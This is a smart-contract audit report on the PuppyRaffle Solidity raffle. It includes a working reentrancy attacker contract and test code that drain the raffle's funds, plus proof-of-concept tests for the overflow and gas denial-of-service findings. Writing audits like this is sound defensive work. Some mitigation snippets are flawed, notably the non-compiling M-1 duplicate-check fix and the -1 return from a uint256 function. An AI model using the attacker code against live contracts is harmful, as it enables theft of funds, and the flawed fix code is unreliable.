Logo

Protocol Audit Report

Prepared by: Georgi Penchev

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings
  - High
  - [H-1] Reentrancy attach in `PuppyRaffle::refund()` allows entrant to drain raffle balance.
  - [H-2] Weak randomnes in `PuppyRaffle::selectWinner` allows user to influence or predict winner and influence and predict the winning puppy.
  - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
  - Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS attach, incrementing gas cost for future entrance.
  - [M-2] Smart contract winners without a `receive/fallback` function will block the start of a new contest.
  - Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns zero for non-existing players and players at index 0 causing players at index 0 to think they have not entered the raffle
  - Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached.
  - Information
  - [I-1]: Solidity pragma should be specific, not wide.
  - [I-2]: Using an outdated version of Solidity is not recommended.
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not best practice.
  - [I-5] Use of `magic` numbers is discouraged
  - [I-6]: `PuppyRaffle:_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Georgi Penchev team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function

Issues found

Severity	**Number of issues found**
High	3

Severity	Number of issues found
Medium	2
Low	1
Info	6
Gas	2
Total	14

Findings

High

[H-1] Reentrancy attach in `PuppyRaffle::refund()` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund()` function does not follow CEI (Checks, effects, interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund()` function, we first make an external call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund()` function again and claim another refund. They could continue the cycle untill the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious participant

Proof of Concept:

1. User enters the raffle.

2. Attacker sets up a contract with a `fallabck` function that calls `PuppyRaffle::refund()`
3. Attacker enters the raffle
4. Atacker calls `PuppyRaffle::refund()` from their attack contract, draining the contract balance

Proof of Code: Place the followin in the `PuppyRaffleTest.t.sol`:

▶ Code:

```
function test_Reentrancy_Refund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();
        console.log(
            "starting attacked contract baalnce: ",
            startingAttackContractBalance
        );
        console.log(
            "starting raffle contract baalnce: ",
            startingContractBalance
        );

        console.log(
            "endeing attacked contract baalnce: ",
            address(attackerContract).balance
        );
        console.log(
            "ending raffle contract baalnce: ",
            address(puppyRaffle).balance
        );
    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund()` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
```

```
        payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomnes in `PuppyRaffle::selectWinner` allows user to influence or predict winner and influence and predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate those values or know them ahead of time to choose the winner of the raffle themselves.

This could cause users to fron-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the raffle and selecting the `rarest` puppy. Making the entire raffle worthless making if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to perticipate. See the solidity blog on prevrando. `block.difficulty` was replaced with prevrando.
2. Users can mine/manipulate their `msg.sender` value to result their address being the used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
//18446744073709551615

myVar = myVar + 1
//MyVar will be 0
```

Impact: In `PuppyRaffle::selectWinner` `totalFees` are accumulated for the `feeAddress` to collect later in the `withdrawFees` function. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving the fees permanently stuck in the contract.

Proof of Concept:

1. We include 4 players in the raffle.
2. We then have 89 players enter the new raffle, and conclude the raffle `totalFees` will overflow and not provide the correct number.
3. You will be not able to withdraw due to this line:

```
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

You can still use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw, however this was not the intended design of the protocol.

▶ Code

```
function test_totalFees_Overflows() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 statingTotalFees = puppyRaffle.totalFees();
        //we have 89 ppl enter the raffle
        uint256 playersNum = 89;

        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second
raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < statingTotalFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use a newer version of solidity, and use `uint256` instead of `uint64` for `totalfees`

2. You could also you `SafeMath` library from OpenZeppelin for version 0.7.6 of solidity, however you would still have hard time with the `uint64` type if too many fees are collected
3. Remove the balance check from the `withdrawFees`

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS attach, incrementing gas cost for future entrance.

Description: The `PuppyRaffle::enterRaffle` function loops through players array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle starts will be dramatically lower than those who enter lates. Any additional address in the `players` array, is an additional check the loop have to make.

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrance of the queue

The attacher might make the `PuppyRaffle::entrants` array so big, that no one else enters.

Proof of Concept:

If we have 2 sets of 100 playes enter, the gas cost will be the following:

-1st 100 players: 6252128gas -2nd 100 players: 18068218gas

This is more than 3 times expensive

▶ PoC

```
function test_denial_of_Service() public {
        vm.txGasPrice(1); //setting the gas price to 1
        uint playersNum = 100;
        address[] memory players = new address[](playersNum);
        //adding 100 payers with different addresses
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        //see how much gas it costs;

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost after first 100 palyers:", gasUsedFirst);

        //second 100 players

        address[] memory playersTwo = new address[](playersNum);
        //adding 100 payers with different addresses
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); //addresses 100 101, 102...
        }
        //see how much gas it costs;

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas cost after second 100 palyers:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
        //the more u enter the raffle the richer you have to be because it is more
expensive
    }
```

Recommended Mitigation: Recommendations:

1. Consider allowing duplicates. Users can make new wallet addresses anyway and still enter the raffle
2. Consider using mapping to check for duplicate. This will allow constant time lookup of whether a user has already entered.

```

+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId;
function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

        for (uint256 i = 0; i < newPlayers.length - 1; i++) {
+            require(addressToRaffleId[newPlayers[i]])
        }

        emit RaffleEnter(newPlayers);
    }
```

[M-2] Smart contract winners without a `receive/fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resseting the lottary, hoever if the winner is a smart contract that rejects the payment, the lottery would not be able to restart.

Users could call `selectWinner` again and non-wallet entrants enter, but could cost due to duplicate check.

Impact: `PuppyRaffle::selectWinner` function could revert many times, making the lottery reset difficult. Also true winners would not get paid and someone alse could get their money.

Proof of Concept:

1. 10 smart contracts enter the raffle without fallback or receive functions.
2. The lottery ends.
3. The `selectWinner` function would not work, even though the lottery has ended.

Recommended Mitigation:

1. Do not allow smart contract wallets enter. (not recommend)
2. Create a mapping of address -> payouts so players could pull their funds themselves. Creating a new function `claimPrize` (Pull over Push)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns zero for non-existing players and players at index 0 causing players at index 0 to think they have not entered the raffle

Description: If a player is in `PuppyRaffle::players` array at index 0, this will return 0, but accordin to the netspec it will also return 0 if the player is not in the array

```
/// @return the index of the player in the array, if they are not active, it returns 0
 function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 incorrectly may think they have not entered the raffle and attemt to enter the raffle

Proof of Concept:

1. User enters the raffle, they are the first entrance
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User think they have not entered the raffle correctly due to the function documentation.

Recommended Mitigation: The easiest way is to revert if the player is not in the array instead of returning to 0. Also you could return -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable

Instances: -`PuppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffle::rareImageUri` should be `constant` -`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Every time you call `players.length` you read from storage, as opposed to memory which is more efficient

```
+     uint256 playersLength = players.length;
-      for (uint256 i = 0; i < players.length - 1; i++) {
+      for (uint256 i = 0; i < playersLength - 1; i++) {
-          for (uint256 j = i + 1; j < players.length; j++) {
+          for (uint256 j = i + 1; j < playersLength; j++) {
               require(
                   players[i] != players[j],
                   "PuppyRaffle: Duplicate player"
               );
           }
       }
```

Information

[I-1]: Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

▶ 1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 168

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not best practice.

```diff
-       (bool success, ) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success, ) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of `magic` numbers is discouraged

It can be confusing to see number literals in a codebase, and it is much more readable if the numbers are given a name

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6]: `PuppyRaffle:_isActivePlayer` is never used and should be removed